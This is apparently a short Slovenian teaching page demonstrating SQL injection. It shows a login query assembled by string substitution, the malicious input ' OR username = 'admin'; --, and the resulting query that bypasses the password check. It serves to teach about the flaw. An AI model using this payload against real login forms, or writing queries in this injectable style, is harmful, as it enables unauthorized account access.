« nazaj
SELECT * FROM uporabnik WHERE username = '{0}' AND password = '{1}';
Zlonamerni uporabnik vnese:
' OR username = 'admin'; --
HAHA
SELECT * FROM uporabnik WHERE username = '' OR username = 'admin'; --' AND password = 'HAHA';